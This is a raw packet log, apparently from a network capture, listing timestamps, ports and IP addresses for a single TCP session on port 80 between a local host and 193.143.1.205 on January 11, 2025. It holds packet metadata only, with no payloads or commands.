Jan 11, 2025 02:51:59.218919992 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218938112 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218950033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218971968 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218982935 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.218993902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.219001055 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.219007015 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.219038010 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.219113111 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.219985962 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.219999075 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220010042 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220021009 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220032930 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220043898 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220045090 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.220057011 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220166922 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.220858097 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220870972 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220885038 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220904112 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220916033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.220933914 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.220978975 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.221014023 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221025944 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221085072 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.221910000 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221918106 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221920013 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221937895 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221951008 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221962929 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.221971035 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.221975088 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222068071 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.222862959 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222877026 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222889900 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222934961 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.222942114 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222958088 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.222970963 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223006964 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.223031998 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223078012 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.223834991 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223860025 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223874092 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223887920 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223902941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.223906040 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.223969936 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.224164009 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.232975960 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.233051062 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.233114958 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.233270884 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.233316898 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.233711958 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.275758982 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275780916 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275794029 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275804043 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275815964 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275826931 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275847912 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.275913954 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275923967 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.275974035 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.275974035 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.280322075 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.288201094 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.305949926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.305969000 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.305979967 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.305998087 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306010008 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306024075 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306054115 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.306109905 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306123018 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306134939 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306163073 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.306163073 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.306195974 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306207895 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306217909 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306240082 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.306315899 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.306431055 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306442976 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306453943 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.306495905 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.310853004 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.335856915 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335871935 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335892916 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335905075 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335916042 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335918903 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.335946083 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.335973024 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.335973024 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336031914 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336072922 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336081028 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336093903 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336139917 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336165905 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336191893 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336251974 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336293936 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336330891 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336342096 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336424112 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336530924 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336544037 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336559057 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336571932 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336602926 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336602926 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336693048 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336776972 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336788893 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336798906 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336802006 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336812973 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336826086 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336870909 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336882114 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336885929 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336896896 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336904049 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336910009 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336921930 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336934090 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.336952925 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.336952925 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337027073 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337194920 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337222099 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337234020 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337244987 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337295055 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337301016 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337308884 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337351084 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337409019 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337420940 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337446928 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337567091 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337579012 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337590933 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337613106 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337646961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337657928 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337670088 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337681055 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337713957 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337713957 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.337776899 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337789059 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337800980 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.337843895 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338036060 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338047981 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338059902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338092089 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338121891 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338133097 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338143110 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338155985 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338171005 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338171005 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338191986 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338262081 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338274002 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338287115 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338387966 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338398933 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338407993 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338408947 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338427067 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338439941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338450909 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338454962 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338454962 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338463068 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338474989 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338507891 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338563919 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.338630915 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.338674068 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.343708038 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.347182035 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368731976 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368747950 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368763924 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368776083 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368781090 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.368783951 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368794918 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368803024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368813992 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368824959 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368834972 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368845940 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368855953 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368865967 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368875027 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.368875027 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368875027 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.368889093 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368900061 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368906021 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.368911028 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368921995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368932009 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.368933916 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368946075 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368957043 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368968010 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368978977 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368989944 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.368999958 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369007111 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369007111 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369012117 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369023085 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369031906 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369035959 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369046926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369056940 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369057894 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369069099 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369081974 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369091034 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369102001 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369108915 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369113922 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369127035 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.369167089 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.369167089 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.391859055 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397511005 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397533894 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397545099 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397559881 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397568941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397615910 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397643089 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397660971 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397686958 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397739887 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397751093 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397762060 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397794962 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397813082 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.397936106 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397947073 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397958040 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397969961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397981882 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.397983074 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.398050070 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.398061991 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.398085117 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.398104906 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427201033 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427464962 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427489996 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427503109 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427525043 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427546024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427557945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427560091 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427601099 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427612066 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427625895 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427676916 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427685976 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427699089 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427762032 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427769899 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427786112 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427798033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427833080 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427846909 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427859068 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427881956 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.427963018 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427974939 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427985907 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.427998066 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428005934 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428059101 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428179026 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428191900 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428205013 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428215981 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428261995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428266048 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428266048 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428292036 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428303957 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428307056 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428337097 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428414106 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428426027 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428438902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428467035 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428481102 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428590059 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428607941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428632975 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428643942 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428689957 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428740978 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428751945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428765059 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428790092 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428877115 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428891897 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.428956032 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.428967953 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429020882 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429032087 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429042101 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429043055 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429064989 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429142952 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429160118 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429172039 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429183960 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429195881 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429208040 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429253101 CET	49749	80	192.168.2.9	193.143.1.205
